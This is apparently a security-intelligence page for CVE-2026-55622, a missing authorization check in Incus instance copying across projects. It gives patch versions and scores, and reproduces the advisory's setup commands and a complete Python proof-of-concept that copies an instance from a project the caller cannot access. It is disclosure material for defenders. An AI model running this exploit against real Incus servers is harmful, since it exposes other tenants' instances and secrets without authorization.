KEVWire

Security intelligence, with context.

Response snapshot Nov 5, 2026, 23:11 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-55622

Incus has a project restriction bypass in instance copy across projects

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project.

Published Updated

At a glance

Exploited
Not known
Severity
7.7 High (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: github.com/lxc/incus/v7/cmd/incusd: 7.2.0; github.com/lxc/incus/v7: 7.2.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-c9f5-j9c3-mhrg (opens a new tab)

What happened

Summary

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

Continue reading

The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

Setup

Assumes the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
 - default

# verification, with the restricted certificate
incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
 --cert path/to/client.crt --key path/to/client.key \
 --target-project default --source-project secrets \
 --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
 ctx = ssl.create_default_context()
 if insecure:
 ctx.check_hostname = False
 ctx.verify_mode = ssl.CERT_NONE
 ctx.load_cert_chain(cert, key)

 req = urllib.request.Request(
 url.rstrip("/") + path,
 data=json.dumps(body).encode(),
 method="POST",
 headers={"Content-Type": "application/json", "Accept": "application/json"},
 )
 try:
 with urllib.request.urlopen(req, context=ctx) as resp:
 return resp.read()
 except urllib.error.HTTPError as exc:
 sys.stderr.write(exc.read().decode(errors="replace") + "\n")
 raise

def main() -> int:
 ap = argparse.ArgumentParser()
 ap.add_argument("--url", required=True)
 ap.add_argument("--cert", required=True)
 ap.add_argument("--key", required=True)
 ap.add_argument("--target-project", required=True)
 ap.add_argument("--source-project", required=True)
 ap.add_argument("--source-instance", required=True)
 ap.add_argument("--name", required=True, help="new instance name in target project")
 ap.add_argument("--instance-only", action="store_true")
 ap.add_argument("--start", action="store_true")
 ap.add_argument("--insecure", action="store_true")
 ap.add_argument("--dry-run", action="store_true")
 args = ap.parse_args()

 body = {
 "name": args.name,
 "source": {
 "type": "copy",
 "source": args.source_instance,
 "project": args.source_project,
 "instance_only": args.instance_only,
 },
 "start": args.start,
 }
 path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
 print(json.dumps(body, indent=2))
 if args.dry_run:
 return 0
 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
 return 0

if __name__ == "__main__":
 raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

Affected package ranges reported by GitHub: github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 github.com/lxc/incus/v7: < 7.2.0

Scores and how they were measured

CVSS base severity

7.7

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 27.7%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow Go modules: RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-c9f5-j9c3-mhrg (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-c9f5-j9c3-mhrg, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-55622 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  6. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  7. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-55622, scored 2026-11-05. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 5). Incus has a project restriction bypass in instance copy across projects (CVE-2026-55622). https://kevwire.com/record/CVE-2026-55622

MLA

"Incus has a project restriction bypass in instance copy across projects (CVE-2026-55622)." KEVWire, 5 Nov. 2026, kevwire.com/record/CVE-2026-55622.

Chicago

KEVWire. "Incus has a project restriction bypass in instance copy across projects (CVE-2026-55622)." Last modified November 5, 2026. https://kevwire.com/record/CVE-2026-55622.

Evidence summary (plain text)

Incus has a project restriction bypass in instance copy across projects (Aug 28, 2026).
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
CVSS 7.7 (version 3.1; evidence as of Nov 5, 2026; https://github.com/advisories/GHSA-c9f5-j9c3-mhrg).
EPSS 0.3% for the following 30 days, scored Nov 5, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55622&date=2026-11-05).
Sources:
GitHub-reviewed advisory GHSA-c9f5-j9c3-mhrg: https://github.com/advisories/GHSA-c9f5-j9c3-mhrg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-55622: https://nvd.nist.gov/vuln/detail/CVE-2026-55622
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-05T18:10:58.021Z&lastModEndDate=2026-11-05T19:40:56.014Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-05T17:41:02.410Z&lastModEndDate=2026-11-05T19:10:56.278Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-05T17:06:18.295Z&lastModEndDate=2026-11-05T18:40:58.469Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55622&date=2026-11-05
Record ID: CVE-2026-55622.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 5, 2026, 19:11 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail